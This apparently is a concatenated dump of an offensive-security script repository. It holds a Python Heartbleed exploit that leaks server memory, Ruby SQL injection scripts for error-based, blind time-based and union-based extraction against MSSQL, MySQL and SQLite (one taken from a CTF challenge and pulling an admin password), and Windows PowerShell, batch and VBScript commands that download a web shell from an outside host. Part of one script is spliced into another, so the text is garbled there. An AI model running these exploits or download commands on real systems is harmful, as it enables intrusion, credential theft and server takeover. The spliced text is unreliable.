bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 24 | 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 25 | 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c 26 | c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 27 | c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 28 | c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c 29 | c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 30 | 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 31 | 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 32 | 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 33 | 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 34 | 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 35 | 00 0f 00 01 01 36 | ''') 37 | 38 | hb = h2bin(''' 39 | 18 03 02 00 03 40 | 01 40 00 41 | ''') 42 | 43 | def hexdump(s): 44 | for b in xrange(0, len(s), 16): 45 | lin = [c for c in s[b : b + 16]] 46 | hxdat = ' '.join('%02X' % ord(c) for c in lin) 47 | pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) 48 | print ' %04x: %-48s %s' % (b, hxdat, pdat) 49 | print 50 | 51 | def recvall(s, length, timeout=5): 52 | endtime = time.time() + timeout 53 | rdata = '' 54 | remain = length 55 | while remain > 0: 56 | rtime = endtime - time.time() 57 | if rtime < 0: 58 | return None 59 | r, w, e = select.select([s], [], [], 5) 60 | if s in r: 61 | data = s.recv(remain) 62 | # EOF? 63 | if not data: 64 | return None 65 | rdata += data 66 | remain -= len(data) 67 | return rdata 68 | 69 | 70 | def recvmsg(s): 71 | hdr = recvall(s, 5) 72 | if hdr is None: 73 | print 'Unexpected EOF receiving record header - server closed connection' 74 | return None, None, None 75 | typ, ver, ln = struct.unpack('>BHH', hdr) 76 | pay = recvall(s, ln, 10) 77 | if pay is None: 78 | print 'Unexpected EOF receiving record payload - server closed connection' 79 | return None, None, None 80 | print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) 81 | return typ, ver, pay 82 | 83 | def hit_hb(s): 84 | s.send(hb) 85 | while True: 86 | typ, ver, pay = recvmsg(s) 87 | if typ is None: 88 | print 'No heartbeat response received, server likely not vulnerable' 89 | return False 90 | 91 | if typ == 24: 92 | print 'Received heartbeat response:' 93 | hexdump(pay) 94 | if len(pay) > 3: 95 | print 'WARNING: server returned more data than it should - server is vulnerable!' 96 | else: 97 | print 'Server processed malformed heartbeat, but did not return any extra data.' 98 | return True 99 | 100 | if typ == 21: 101 | print 'Received alert:' 102 | hexdump(pay) 103 | print 'Server returned error, likely not vulnerable' 104 | return False 105 | 106 | def main(): 107 | opts, args = options.parse_args() 108 | if len(args) < 1: 109 | options.print_help() 110 | return 111 | 112 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 113 | print 'Connecting...' 114 | sys.stdout.flush() 115 | s.connect((args[0], opts.port)) 116 | print 'Sending Client Hello...' 117 | sys.stdout.flush() 118 | s.send(hello) 119 | print 'Waiting for Server Hello...' 120 | sys.stdout.flush() 121 | while True: 122 | typ, ver, pay = recvmsg(s) 123 | if typ == None: 124 | print 'Server closed connection without sending Server Hello.' 125 | return 126 | # Look for server hello done message. 127 | if typ == 22 and ord(pay[0]) == 0x0E: 128 | break 129 | 130 | print 'Sending heartbeat request...' 131 | sys.stdout.flush() 132 | s.send(hb) 133 | hit_hb(s) 134 | 135 | if __name__ == '__main__': 136 | main() -------------------------------------------------------------------------------- /scripts/sqlinj/mssql_column.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | require 'net/http' 3 | require 'uri' 4 | 5 | $host = 'www.target.com' 6 | 7 | print "Input table name:" 8 | table = gets.chomp 9 | 10 | (1..100).each do |i| 11 | $target = "/news.asp?DeptID=1337';if (select top 1 col_name(object_id('#{table}'),#{i}) from sysobjects)>0 select 1--" 12 | $path = URI::encode($target) 13 | res = Net::HTTP.get_response($host, $path) 14 | /varchar value '(.*)' to data type int/ =~ res.body 15 | col = Regexp.last_match[1].strip 16 | puts col 17 | sleep 0.1 18 | end 19 | -------------------------------------------------------------------------------- /scripts/sqlinj/mssql_table.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | require 'net/http' 3 | require 'uri' 4 | 5 | 6 | dbname = 'mydb' 7 | 8 | $host = 'www.target.com' 9 | $path = URI::encode "/news.asp?DeptID=02';if (select top 1 name from #{dbname}..sysobjects where xtype='U')>0 select 1 --" 10 | $p1 = "/news.asp?DeptID=02';if (select top 1 name from #{dbname}..sysobjects where xtype='U'" 11 | $p2 = " and name not in (" 12 | $p3 = "))>0 select 1--" 13 | $key = "" 14 | 15 | res = Net::HTTP.get_response($host, $path) 16 | 17 | /varchar value '(.*)' to data type int/ =~ res.body 18 | now = Regexp.last_match[1].strip 19 | puts now 20 | 21 | flag = 1 22 | 23 | (1..100).each do 24 | if flag == 0 25 | $key = $key + ", '" + now + "'" 26 | else 27 | flag = 0 28 | $key = $key + "'" + now + "'" 29 | end 30 | 31 | $path = URI::encode($p1 + $p2 + $key + $p3) 32 | res = Net::HTTP.get_response($host, $path) 33 | /varchar value '(.*)' to data type int/ =~ res.body 34 | now = Regexp.last_match[1].strip 35 | puts now 36 | sleep 0.1 37 | end 38 | -------------------------------------------------------------------------------- /scripts/sqlinj/mysql_time.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | # MySQL Blind Time-Based Template 3 | require 'net/http' 4 | require 'uri' 5 | 6 | $url = 'http://target.com/login.php' 7 | $ans = '' 8 | $len = 0 9 | $delay = 2 10 | 11 | (1..100).each do |i| 12 | $query = "a' AND (SELECT * FROM (SELECT if (length(user())=#{i},sleep(#{$delay}),1))a) AND 'a'='a" 13 | start = Time.now 14 | res = Net::HTTP.post_form URI($url), {"user_id" => $query, "user_password" => "b"} 15 | finish = Time.now 16 | if finish - start > $delay 17 | $len = i 18 | break 19 | end 20 | end 21 | 22 | puts "length: #{$len}" 23 | 24 | (1..$len).each do |i| 25 | l = 40 26 | r = 130 27 | 28 | while(l <= r) 29 | break if l == r 30 | mid = ((l + r) / 2) 31 | $query = "a' AND (SELECT * FROM (SELECT if (ascii(mid(user(),#{i},1))>#{mid},sleep(#{$delay}),1))a) AND 'a'='a" 32 | start = Time.now 33 | res = Net::HTTP.post_form URI($url), {"user_id" => $query, "user_password" => "b"} 34 | finish = Time.now 35 | if finish - start > $delay 36 | l = mid + 1 37 | else 38 | r = mid 39 | end 40 | end 41 | $ans += l.chr 42 | puts $ans 43 | end 44 | -------------------------------------------------------------------------------- /scripts/sqlinj/mysql_union.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | 3 | # MySQL Union-Based Template 4 | require 'net/http' 5 | require 'uri' 6 | 7 | $host = 'target.com' 8 | $query = "/news.php?id=-7/**/union/**/select/**/%s,2,3,4,5,6,7,8,9,10,11%s%s--#" 9 | info_payload = ["user()", "database()", "version()"] 10 | db_payload = ["group_concat(schema_name)", "/**/from/**/information_schema.schemata",nil] 11 | tb_payload = ["group_concat(table_name)", "/**/from/**/information_schema.columns", "/**/where/**/table_schema='%s'"] 12 | 13 | # Log 14 | f = File.open("result.txt", "w") 15 | 16 | # Basic Info 17 | f.write("\n====Basic Info====\n") 18 | info_payload.each do |i| 19 | $path = $query % [i, nil, nil] 20 | res = Net::HTTP.get_response($host, $path) 21 | 22 | # Parse Data 23 | /class="title02">(.*)(.*)(.*)#{mid},sleep(2),1))+'" 22 | begin 23 | resp = http.start() {|http| 24 | http.get(url.path, {'User-Agent' => $payload}) 25 | } 26 | r = mid 27 | rescue 28 | l = mid + 1 29 | end 30 | end 31 | puts l 32 | $ans += l.chr 33 | puts $ans 34 | end 35 | -------------------------------------------------------------------------------- /scripts/sqlinj/sqlite_login.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | 3 | # sqlite injection (POST method) (二分搜) 4 | # SECCON sqlsrf爆admin密碼 5 | 6 | require 'net/http' 7 | require 'uri' 8 | 9 | $url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi' 10 | $ans = '' 11 | 12 | (1..100).each do |i| 13 | l = 48 14 | r = 122 15 | 16 | while(l <= r) 17 | #puts "left: #{l}, right: #{r}" 18 | break if l == r 19 | 20 | mid = ((l + r) / 2) 21 | $query = "kaibro'union select '62084a9fa8872a1b917ef4442c1a734e' where (select unicode(substr(password,#{i},#{i})) from users where username='admin') > #{mid} and '1'='1" 22 | 23 | res = Net::HTTP.post_form URI($url), {"user" => $query, "pass" => "kaibro", "login" => "Login"} 24 | 25 | if res.body.include? 'document.location' 26 | l = mid + 1 27 | else 28 | r = mid 29 | end 30 | 31 | end 32 | $ans += l.chr 33 | puts $ans 34 | 35 | end 36 | -------------------------------------------------------------------------------- /scripts/windows/download.bat: -------------------------------------------------------------------------------- 1 | powershell -Command "$c=new-object System.Net.WebClient;$c.DownloadFile('http://file.kaibro.tw/s','C:\shell.php')" 2 | -------------------------------------------------------------------------------- /scripts/windows/download.ps1: -------------------------------------------------------------------------------- 1 | $c=new-object System.Net.WebClient;$c.DownloadFile('http://file.kaibro.tw/s','C:\shell.php') 2 | -------------------------------------------------------------------------------- /scripts/windows/download.vbs: -------------------------------------------------------------------------------- 1 | Download "http://file.kaibro.tw/shell", "shell.php" 2 | Function Download(strUrl, strFile) 3 | Set xPost = CreateObject("MSXML2.ServerXMLHTTP") 4 | xPost.Open "GET", strUrl,0 5 | xPost.Send() 6 | Set sGet = CreateObject("ADODB.Stream") 7 | sGet.Mode = 3 8 | sGet.Type = 1 9 | sGet.Open() 10 | sGet.Write(xPost.responseBody) 11 | sGet.SaveToFile strFile,2 12 | End Function 13 | -------------------------------------------------------------------------------- /scripts/xss/payload: -------------------------------------------------------------------------------- 1 | 2 | --------------------------------------------------------------------------------